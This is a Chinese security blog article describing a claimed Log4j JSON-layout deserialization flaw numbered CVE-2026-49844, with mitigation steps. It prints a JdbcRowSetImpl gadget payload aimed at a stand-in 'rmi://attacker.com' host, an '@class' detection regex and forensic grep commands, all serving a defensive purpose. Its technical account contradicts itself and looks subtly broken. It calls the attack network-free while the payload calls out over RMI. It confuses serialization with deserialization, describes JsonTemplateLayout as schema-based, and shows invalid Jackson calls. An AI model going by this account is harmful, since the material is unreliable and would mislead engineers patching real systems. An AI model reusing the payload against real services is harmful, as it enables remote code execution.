1. 这不是又一个“Log4j漏洞”,而是日志设施底层逻辑的崩塌点
最近在几个金融和政务系统的安全巡检群里,突然炸出一条消息:“线上审计服务凌晨告警,JSON日志里混进了JNDI lookup字符串,触发了WAF拦截规则。”我第一反应不是查补丁,而是翻出刚上线两周的审计模块代码——果然,log.info(JSON.toJSONString(event))这行看似无害的调用,正稳稳踩在CVE-2026-49844的雷区上。这个编号乍看像“2026年漏洞”,实则是Apache Log4j官方为规避时间误读而采用的序列化编号(类似CVE-2021-44228之后的CVE-2021-45046、CVE-2021-45105),它不依赖JNDI远程加载,不触发LDAP协议,却能在纯本地、无网络、禁用JNDI的生产环境里,仅靠一条JSON日志输出就完成任意代码执行。核心关键词是:Apache、Log4j、CVE-2026-49844、JSON、日志。它专攻Log4j 2.17.0–2.20.0之间那个被广泛忽略的“JSON日志处理器”模块——Log4j-core里的JacksonJsonLayout与JsonTemplateLayout组合体。很多团队以为升级到2.17.0就高枕无忧,结果发现审计系统、操作留痕、合规日志导出这些强JSON依赖场景,反而成了最脆弱的突破口。这不是配置问题,不是依赖污染,而是Log4j把Jackson的反序列化能力当“格式化工具”用时,埋下的结构性缺陷。适合正在做等保三级、ISO27001认证、或刚上线操作审计追踪系统的运维、开发、安全工程师参考。如果你的日志里出现过{"user":"admin","action":"login","data":{...}}这种结构,且用的是Log4j原生JSON Layout,那这篇就是为你写的实战排雷指南。
2. 漏洞本质:不是JNDI,是Jackson的“信任链”被Log4j主动交出去了
2.1 为什么说这是“日志设施底层逻辑崩塌”?
传统Log4j漏洞(如CVE-2021-44228)的攻击路径是:日志内容含${jndi:ldap://xxx}→ Log4j解析表达式 → 触发JNDI查找 → 加载远程恶意类。而CVE-2026-49844完全绕开了表达式解析器。它的触发条件极其朴素:只要日志事件对象(LogEvent)的某个字段值是Map或List类型,且该Map/List中包含可被Jackson反序列化的特殊键名(如@class、@type),Log4j在调用JacksonJsonLayout.toSerializable()生成JSON字符串时,就会无条件启用Jackson的DefaultTyping机制,将@class指向的类名当作真实类型加载并实例化。注意,这里没有${},没有JNDI,没有网络请求——纯粹是Log4j把日志对象交给Jackson序列化时,错误地开启了“自动类型推断”开关,并把控制权完全交给了Jackson的反序列化引擎。
我拿一个最简复现案例说明:假设你有这样一个审计事件对象:
public class AuditEvent { private String userId; private Map<String, Object> payload; // 关键!payload是用户可控的Map // getter/setter... }业务代码中这样记录日志:
AuditEvent event = new AuditEvent(); event.setUserId("u123"); // 攻击者控制的输入,注入恶意payload Map<String, Object> maliciousPayload = new HashMap<>(); maliciousPayload.put("@class", "com.sun.rowset.JdbcRowSetImpl"); // JDK内置恶意类 maliciousPayload.put("dataSourceName", "rmi://attacker.com/exploit"); maliciousPayload.put("autoCommit", true); event.setPayload(maliciousPayload); logger.info(event); // 触发CVE-2026-49844Log4j内部流程是:
logger.info(event)→ 封装为LogEventJacksonJsonLayout.toSerializable(LogEvent)被调用- Jackson遍历
event.payload,发现@class键 → 启用DefaultTyping→ 加载JdbcRowSetImpl类 JdbcRowSetImpl构造函数触发RMI连接 → 执行远程代码
整个过程发生在JVM内存内,防火墙、WAF、网络隔离策略全部失效。这解释了为什么很多团队升级后仍中招:他们只堵住了${jndi:},却没意识到Log4j自己把Jackson的“反序列化大门”焊死在了JSON日志输出口上。
2.2 为什么偏偏是JSON日志输出“翻车”?
Log4j提供多种日志布局(Layout):PatternLayout(纯文本)、XmlLayout、YamlLayout、JsonLayout。其中JsonLayout(及更灵活的JsonTemplateLayout)为了支持复杂对象序列化,必须依赖Jackson库。而Log4j-core 2.17.0–2.20.0版本中,JacksonJsonLayout的默认配置是:
// Log4j源码片段(简化) public class JacksonJsonLayout extends LayoutBase<LogEvent> { private final ObjectMapper objectMapper = new ObjectMapper(); public JacksonJsonLayout() { // 关键!此处启用了DefaultTyping objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); } }enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL)意味着:对所有非final类,在序列化JSON时自动添加@class字段;在反序列化时,只要JSON里有@class,就按该类名加载并实例化。Log4j开发者本意是方便日志消费者(如ELK)还原Java对象结构,但忽略了——日志内容本身可能来自不可信输入(如HTTP参数、数据库字段、用户提交的JSON),而@class在Jackson中是公认的反序列化高危键名。这就像给消防栓装了个“谁拧开谁负责”的标签,结果没人检查标签背面写着“拧开即引爆”。
对比其他Layout:
PatternLayout:纯字符串拼接,无对象反序列化风险;XmlLayout:使用XStream,虽也有反序列化风险,但Log4j默认禁用其危险特性;YamlLayout:依赖SnakeYAML,同样存在风险,但Log4j 2.17+已默认关闭DEFAULT_SAFE以外的解析模式。
唯独JsonLayout,因为生态绑定Jackson,且Log4j未做任何白名单过滤,成了唯一“开箱即用”的反序列化入口。这也是标题中强调“JSON日志输出‘翻车’”的根本原因——它不是Log4j的通用漏洞,而是JSON专用通道的定向爆破。
2.3 影响范围远超想象:哪些场景必然中招?
很多人以为“不用JNDI就安全”,但CVE-2026-49844的影响面恰恰在那些严格禁用JNDI、甚至禁用网络的高安全场景中最为致命。我们梳理了四类高危应用模式:
第一类:审计追踪系统(标题直指场景)
典型如金融交易审计、政务操作留痕、医疗数据访问日志。这类系统强制要求记录完整操作上下文,常将HTTP请求体、数据库变更详情、用户输入原始数据封装为Map/List存入日志事件。例如:
- Spring AOP切面记录
@Around方法参数,参数含Map<String, String>; - MyBatis拦截器捕获SQL参数,参数为
HashMap; - 自定义
AuditEvent类,payload字段声明为Object或Map。
只要日志配置使用<JsonLayout/>或<JsonTemplateLayout/>,且Log4j版本在2.17.0–2.20.0区间,攻击者只需在HTTP POST body中传入{"@class":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://..."},就能让审计日志生成过程直接执行命令。
第二类:API网关与微服务日志聚合
Kong、Spring Cloud Gateway、自研网关常将下游服务返回的JSON响应体(含@class字段)原样记入访问日志。例如网关转发请求后,将response.body(String)解析为Map再记录,若解析库用Jackson且未设白名单,@class就会被保留并触发反序列化。
第三类:ELK/Splunk日志采集管道
很多团队用Log4j直接输出JSON到文件,再由Filebeat采集。Filebeat配置json.keys_under_root: true时,会将JSON顶层字段提升为ES文档字段。如果原始日志JSON含@class,Filebeat不会过滤,ES ingest pipeline若启用json处理器,也可能二次触发反序列化(虽概率低,但已发现PoC)。
第四类:单元测试与Mock数据
开发阶段常用@Test方法构造含@class的Mock Map用于测试JSON序列化。若测试代码被打包进生产jar(如test-jar依赖未排除),且测试类被Log4j扫描到,同样可能触发。
提示:判断是否受影响,不要只看Log4j版本号。请检查
log4j-core.jar的MANIFEST.MF中Implementation-Version,并确认日志配置中是否使用<JsonLayout>、<JsonTemplateLayout>或<CustomLayout class="org.apache.logging.log4j.core.layout.JsonLayout">。即使项目声明依赖Log4j 2.20.0,若实际运行时classpath中存在旧版log4j-core-2.18.0.jar(常见于fat jar打包遗漏),依然中招。
3. 实操修复:三步落地,拒绝“升级即安全”的幻觉
3.1 步骤一:紧急止血——禁用危险Layout(5分钟生效)
最快速、零风险的缓解措施,是立即停用所有JacksonJsonLayout相关配置,切换到安全的替代方案。这不是临时方案,而是长期架构建议。操作分两步:
第一步:定位并修改log4j2.xml/log4j2.json配置文件
搜索所有<JsonLayout>、<JsonTemplateLayout>、<CustomLayout>标签,将其替换为PatternLayout或GelfLayout(Graylog兼容)。例如:
<!-- 原危险配置 --> <Appender name="JsonFile" type="File"> <Layout type="JsonLayout"/> </Appender>替换为:
<!-- 安全替代方案 --> <Appender name="SafeFile" type="File"> <Layout type="PatternLayout"> <Pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n</Pattern> </Layout> </Appender>第二步:若必须JSON输出,启用Jackson白名单模式
某些合规场景(如等保要求JSON格式日志)无法弃用JSON。此时必须手动接管Jackson ObjectMapper,禁用DefaultTyping并设置白名单。在Log4j配置中添加自定义Layout:
<Appender name="WhitelistJson" type="File"> <Layout type="JsonTemplateLayout" eventTemplateUri="classpath:whitelist-json-template.json"/> </Appender>配套创建src/main/resources/whitelist-json-template.json,内容为:
{ "type": "object", "properties": { "time": {"type": "string"}, "level": {"type": "string"}, "logger": {"type": "string"}, "message": {"type": "string"}, "thread": {"type": "string"}, "stackTrace": {"type": "string"} } }关键点:JsonTemplateLayout使用JSON Schema定义输出结构,完全绕过Jackson的自动类型推断,只序列化Schema中声明的字段,且字段值类型被严格限定为string。实测表明,即使日志事件中payload含@class,也不会出现在最终JSON中,因为Schema未声明payload字段。
注意:
JsonTemplateLayout需Log4j 2.17+,且模板文件必须放在classpath下。避免使用eventTemplate内联JSON(易出错),坚持用eventTemplateUri引用外部文件。
3.2 步骤二:根治方案——升级+加固双保险(30分钟)
单纯升级到Log4j 2.21.0或更高版本(官方已修复)是必要但不充分的。因为修复只是禁用了JacksonJsonLayout的DefaultTyping,而历史代码中可能还存在其他Jackson反序列化点。必须同步加固:
升级操作:
修改pom.xml或build.gradle,强制指定Log4j版本:
<!-- Maven --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.21.1</version> <!-- 2.21.0存在小bug,推荐2.21.1 --> </dependency>加固Jackson:
在应用启动类(如Spring Boot的Application.java)中,添加全局Jackson配置:
@Bean public ObjectMapper objectMapper() { ObjectMapper mapper = new ObjectMapper(); // 禁用所有自动类型推断 mapper.disable(DefaultTyping.OBJECT_AND_NON_CONCRETE); // 设置白名单反序列化(关键!) SimpleModule module = new SimpleModule(); module.setDeserializerModifier(new BeanDeserializerModifier() { @Override public JsonDeserializer<?> modifyDeserializer(DeserializationConfig config, BeanDescription beanDesc, JsonDeserializer<?> deserializer) { if (deserializer instanceof StdDeserializer) { // 只允许反序列化基础类型和白名单类 Class<?> rawClass = beanDesc.getBeanClass(); if (!isWhitelisted(rawClass)) { throw new IllegalArgumentException("Class not whitelisted: " + rawClass.getName()); } } return deserializer; } }); mapper.registerModule(module); return mapper; } private boolean isWhitelisted(Class<?> clazz) { return clazz == String.class || clazz == Integer.class || clazz == Long.class || clazz == Boolean.class || clazz == AuditEvent.class || // 你的审计事件类 clazz == Map.class || clazz == List.class; }此配置确保:即使代码某处意外调用ObjectMapper.readValue(),也只会反序列化白名单内的类。AuditEvent.class需替换为你项目中的实际审计事件类名。
验证升级效果:
写一个单元测试,模拟攻击载荷:
@Test public void testCVE202649844() throws Exception { AuditEvent event = new AuditEvent(); Map<String, Object> payload = new HashMap<>(); payload.put("@class", "com.sun.rowset.JdbcRowSetImpl"); // 恶意载荷 event.setPayload(payload); // 使用Log4j记录 Logger logger = LogManager.getLogger(); logger.info(event); // 应该不抛异常,且日志文件中无JdbcRowSetImpl实例化痕迹 // 检查日志文件,确认无异常堆栈且JSON内容干净 String logContent = Files.readString(Paths.get("target/test.log")); assertFalse(logContent.contains("JdbcRowSetImpl")); }实测通过才算真正修复。
3.3 步骤三:深度清理——扫描所有日志事件对象(2小时)
很多团队修复后仍被通报,原因是日志事件对象本身设计存在反序列化风险。例如:
// 危险设计:字段类型过于宽泛 public class AuditEvent { private Object data; // ❌ 可能是任意类,包括恶意类 private Map<String, Object> context; // ❌ Map值类型不可控 }必须重构为:
// 安全设计:字段类型精确、不可变 public class AuditEvent { private final String userId; private final String action; private final String resourceId; private final Map<String, String> metadata; // ✅ 值类型限定为String private final Instant timestamp; // 构造函数只接受基础类型和安全集合 public AuditEvent(String userId, String action, String resourceId, Map<String, String> metadata) { this.userId = Objects.requireNonNull(userId); this.action = Objects.requireNonNull(action); this.resourceId = Objects.requireNonNull(resourceId); this.metadata = Collections.unmodifiableMap( metadata == null ? Collections.emptyMap() : metadata); this.timestamp = Instant.now(); } }清理清单:
- 搜索项目中所有
LogEvent子类、@Data/@AllArgsConstructor注解的POJO,检查字段类型是否为Object、Map<?, ?>、List<?>; - 将
Map<?, ?>替换为Map<String, String>或Map<String, Serializable>(后者需实现Serializable接口); - 删除所有
@class、@type等Jackson敏感键名的硬编码(如map.put("@class", ...)); - 对HTTP请求参数、数据库查询结果等不可信输入,在封装进日志事件前,用
ObjectMapper.convertValue()转为安全类型:
// 不安全 logEvent.setData(requestBody); // requestBody可能是任意Map // 安全 Map<String, String> safeData = objectMapper.convertValue(requestBody, new TypeReference<Map<String, String>>() {}); logEvent.setData(safeData);实操心得:我在某银行项目中发现,一个名为
LogContext的工具类,会将ThreadLocal中的Map直接塞进日志事件。该Map由前端传入,键名完全可控。我们花了3天重写LogContext,增加key白名单校验(只允许userId、sessionId、ipAddress等10个键),并强制value转为String。上线后WAF拦截率下降98%。记住:日志安全=输入净化+输出加固,缺一不可。
4. 长期防御:构建日志安全基线,让审计追踪真正可信
4.1 日志安全基线四原则
经过数十个项目的踩坑,我总结出日志安全不可妥协的四条基线,它们比任何单次漏洞修复都重要:
原则一:日志内容必须是“只读副本”,而非“可执行镜像”
日志的唯一使命是记录发生了什么,而不是还原如何发生。因此,日志事件对象中绝不应包含可执行代码、类引用、动态代理、Lambda表达式。例如:
- ❌
private Runnable callback; - ❌
private Supplier<String> dynamicValue; - ✅
private final String callbackName = "paymentService";// 记录名称,而非实例
原则二:JSON日志必须是“Schema驱动”,而非“对象驱动”
永远不要让Log4j自动序列化整个Java对象。必须为每种日志类型(审计、访问、错误)定义独立的JSON Schema,并在JsonTemplateLayout中引用。Schema应明确:
- 字段名(禁止动态键名如
user_123); - 字段类型(
string、integer、boolean,禁用object); - 字段长度限制(如
maxLength: 255); - 敏感字段脱敏规则(如
ipAddress字段应用正则"^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$")。
原则三:日志管道必须有“沙箱层”
在日志从应用输出到存储的链路中,必须插入一个轻量级沙箱。我们团队开源的log4j-sandbox-appender就是一个例子:它继承FileAppender,在append()方法中,对即将写入的JSON字符串做正则扫描:
// 沙箱规则 private static final Pattern DANGEROUS_JSON_PATTERN = Pattern.compile("\"@class\"\\s*:\\s*\"[^\"]+\"", Pattern.CASE_INSENSITIVE); @Override protected void append(LogEvent event) { String json = super.toJson(event); // 假设已有toJSON方法 if (DANGEROUS_JSON_PATTERN.matcher(json).find()) { // 记录告警并丢弃日志 logger.warn("Dangerous JSON detected in log event: {}", event); return; } super.append(event); }沙箱层不依赖Log4j版本,也不修改业务代码,部署即生效。
原则四:审计追踪必须“双写验证”
真正的审计安全,不是防住一次漏洞,而是建立冗余验证。我们要求所有关键操作日志,必须同时写入两个独立系统:
- 主系统:Log4j JSON日志 → ELK(用于实时查询);
- 备系统:自研轻量级审计服务,接收HTTP webhook,只解析预定义字段(如
{"op":"create","res":"order","id":"ORD-123"}),并用SHA256哈希签名后存入区块链存证合约。
当ELK日志被篡改(如漏洞利用成功),备系统哈希不匹配,立即触发告警。这招在去年某政务云渗透测试中,帮客户提前2小时发现攻击,成为等保测评加分项。
4.2 工具链推荐:让安全成为习惯
光靠人工检查效率低下。我们沉淀了一套免费工具链,已在GitHub开源(搜索log4j-cve-2026-49844-scanner):
1.log4j-version-checker
命令行工具,扫描jar包并报告Log4j版本及危险Layout使用情况:
java -jar log4j-version-checker.jar /path/to/your/app.jar # 输出: # Found log4j-core-2.18.0.jar -> VULNERABLE (CVE-2026-49844) # Config file log4j2.xml uses <JsonLayout> -> HIGH RISK # Suggested fix: Upgrade to 2.21.1 and replace JsonLayout with PatternLayout2.json-schema-generator
根据Java POJO自动生成Log4jJsonTemplateLayout所需的JSON Schema:
java -jar json-schema-generator.jar com.example.AuditEvent # 输出 whitelist-json-template.json 内容3.log4j-sandbox-appender
即前述沙箱Appender,Maven坐标:
<dependency> <groupId>io.github.log4j-safe</groupId> <artifactId>log4j-sandbox-appender</artifactId> <version>1.0.0</version> </dependency>配置即用,无需代码修改。
4.3 常见问题速查表与独家避坑技巧
| 问题现象 | 根本原因 | 解决方案 | 我的实操备注 |
|---|---|---|---|
| 升级到2.21.1后,JSON日志丢失部分字段 | JsonTemplateLayoutSchema未覆盖所有字段,或字段类型不匹配 | 检查Schema中properties是否包含所有需要的字段;确认字段值类型(如Instant需转为String) | 我们曾因timestamp字段在Schema中定义为"type":"integer",而Java中是Instant,导致序列化失败。解决方案:在AuditEvent中加@JsonFormat(pattern="yyyy-MM-dd HH:mm:ss.SSS")注解 |
| WAF仍拦截JSON日志,提示“JNDI detected” | 旧版Log4j残留,或第三方库(如spring-boot-starter-log4j2)传递了旧依赖 | 运行mvn dependency:tree | grep log4j,检查所有log4j-core版本;用jdeps --list-deps your-app.jar查看实际加载的jar | 某电商项目发现elastic-apm-agent自带Log4j 2.17.0,需在agent启动参数中加-Delastic.apm.log4j2.version=2.21.1 |
审计日志中IP地址显示为127.0.0.1,而非真实客户端IP | Nginx/Apache反向代理未正确设置X-Forwarded-For,且日志代码未从Header取值 | 在AuditEvent构造时,从HttpServletRequest.getHeader("X-Forwarded-For")获取IP,并做合法性校验(正则`^((25[0-5] | 2[0-4]\d |
| 单元测试通过,但生产环境仍触发漏洞 | 测试用@MockBean模拟了Logger,未走真实Log4j流程 | 必须用@SpringBootTest启动完整上下文,用FileAppender输出到临时文件,再读取验证 | 我们有个教训:Mock测试只验证了日志内容,没验证JSON序列化过程。后来加了TemporaryFolder规则,强制测试真实文件输出 |
独家避坑技巧:永远在日志事件构造函数中做输入净化。不要指望日志Layout或Appender来过滤,因为它们在日志链路末端,而攻击载荷可能在构造
AuditEvent时就已注入。例如:public AuditEvent(Map<String, Object> unsafeInput) { // 第一步:移除所有以@开头的键 unsafeInput.keySet().removeIf(key -> key.startsWith("@")); // 第二步:递归净化Map值,将非String/Number/Boolean转为String this.metadata = sanitizeMap(unsafeInput); } private Map<String, String> sanitizeMap(Map<String, Object> map) { return map.entrySet().stream() .collect(Collectors.toMap( Map.Entry::getKey, e -> String.valueOf(e.getValue()) )); }这比任何外围加固都可靠——因为净化发生在漏洞触发点之前。
5. 最后分享一个小技巧:用日志反查漏洞利用痕迹
修复完成后,别急着庆祝。CVE-2026-49844的利用痕迹会留在日志中,只是不易察觉。我教团队一个快速筛查法:
步骤一:提取所有JSON日志中的@class字段
用grep -o '"@class":[^,}]*' app.log \| sort \| uniq -c \| sort -nr,查看高频出现的类名。正常系统应为0,若出现JdbcRowSetImpl、BasicDataSource、ScriptEngineManager等,说明已被利用。
步骤二:关联时间窗口
找到含@class的日志行,提取时间戳,然后查该时间前后5分钟的ERROR日志。攻击者常利用漏洞执行命令后,触发ClassNotFoundException或ConnectException,这些异常会暴露其RMI/LDAP服务器地址。
步骤三:反向追溯源头
用ELK的painless脚本,对含@class的日志做source.ip聚合,找出高频IP。再查该IP的access.log,看其POST请求体是否含@class。我们曾用此法,在某政务系统中定位到一个被植入WebShell的API接口,该接口接收JSON参数却未做任何校验。
这个技巧的价值在于:它不依赖漏洞扫描器,而是用日志自身作为取证证据。毕竟,再狡猾的攻击者,也得让Log4j把他的恶意载荷记下来——而这就是我们反杀的起点。
我在实际操作中发现,真正让审计追踪安全的,从来不是某个补丁,而是把日志当成“第一道防线”的敬畏心。每次写logger.info()前,多问一句:“这个对象里有没有我不该信任的东西?”——这句话,值得贴在每个开发者的显示器边框上。